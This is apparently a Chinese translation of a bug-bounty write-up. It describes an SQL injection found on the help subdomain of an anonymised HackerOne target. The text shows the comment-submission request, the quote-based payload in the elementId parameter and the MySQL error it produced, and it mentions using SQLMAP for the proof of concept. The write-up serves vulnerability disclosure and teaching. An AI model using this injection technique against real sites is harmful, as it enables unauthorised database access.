向所有阅读本文的人问好!
我希望我在博客上的积极性能够满足你对知识的渴望。这篇文章讲述的是我在Hackerone最高付费项目之一中发现的一个棘手的SQL注入。出于隐私保护目的,我不能透露该项目的名称,所以我称之为vulnsite.com。
正如你所知道的,在挖洞之前,我已经仔细阅读了它的测试范围,并且开始寻找子域名。同样,在这个项目中我也是这样做的,并找到了一个子域名:help.vulnsite.com。众所周知,测试Web应用项目最好和最快的方法是检查所有输入参数,于是我开始挖掘。再说一次,我不擅长挖掘SQL注入漏洞,而且我当时一直都没找到。然而我正在寻找可能有助于了解应用程序如何运行的特殊错误。
由于该Web应用程序是帮助站点,所以它的请求模式非常少。而其中只有两个抛出错误。引起我注意的是用户用来评论某张票的模式。
一个典型的评论请求是这样的:
POST /commentbox/add HTTP/1.1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Referer: https://help.vulnsite.com/
Cookie: CraftSessionId=hjbt0tq872hlcmp8vohttrmfh7; CRAFT_CSRF_TOKEN=8a57b671def6d2579ee45a7dfcc11abc9112e2acs%3A40%3A%22swcDN4umz9jmgPD_cDqOICkkCsukvLOZyXTz%7EZ7T%22%3B;
Host: help.vulnsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: /
action=commentbox/add&comment=1&commentboxId=35&elementId=1&optionId=&rating=4
正如你在上面的请求中看到的那样,在这个请求模式中有几个参数正在与数据库查询处理器进行通信。
现在用传统的单引号篡改这些内容就会返回一个内部错误,这对于SQL注入来说意味着一个很大的问题。
但是我不是一个不战而败的人,所以我开始迭代。我注意到在参数elementId的单引号之后附加双引号根本没有显示内部服务器错误。但是它也没有显示SQL错误,所以还有更多的活要做。接着我开始在它们各自的URI版本中转换有效载荷(payload)。最后如下面请求所示,单引号是原始形式,双引号是它自己的URI格式:
POST /commentbox/add HTTP/1.1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Referer: https://help.vulnsite.com/
Cookie: CraftSessionId=hjbt0tq872hlcmp8vohttrmfh7; CRAFT_CSRF_TOKEN=8a57b671def6d2579ee45a7dfcc11abc9112e2acs%3A40%3A%22swcDN4umz9jmgPD_cDqOICkkCsukvLOZyXTz%7EZ7T%22%3B;
Host: help.vulnsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: /
action=commentbox/add&comment=1&commentboxId=35&elementId=1'%22&optionId=&rating=4
我能够实现如下所示的SQL错误
Internal Server Error
CDbCommand failed to execute the SQL statement: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’” AND date = “2017–01–18” AND ipAddress =”196.44.110.41" ORDER BY date DESC’ at line 3
然后,只需要在SQLMAP中做一些迭代就可以做出一个很好的概念验证(Proof of Concept),这样能从项目团队那里得到一个很好的快速响应。
因为发现这个漏洞,厂商奖励了我自认为很合适的7500美元奖金。多年来我学到的一件事就是,如果一个应用程序经过专心彻底的测试,你总能找到一些有价值的东西,我们只需要更深入地研究它。
原文地址:https://shahmeeramir.com/injecting-a-7500-worth-database-65a0c29b46d6
希望你喜欢这篇文章,我会尽快发表更多hackerone上高营养的漏洞。非常感谢大家!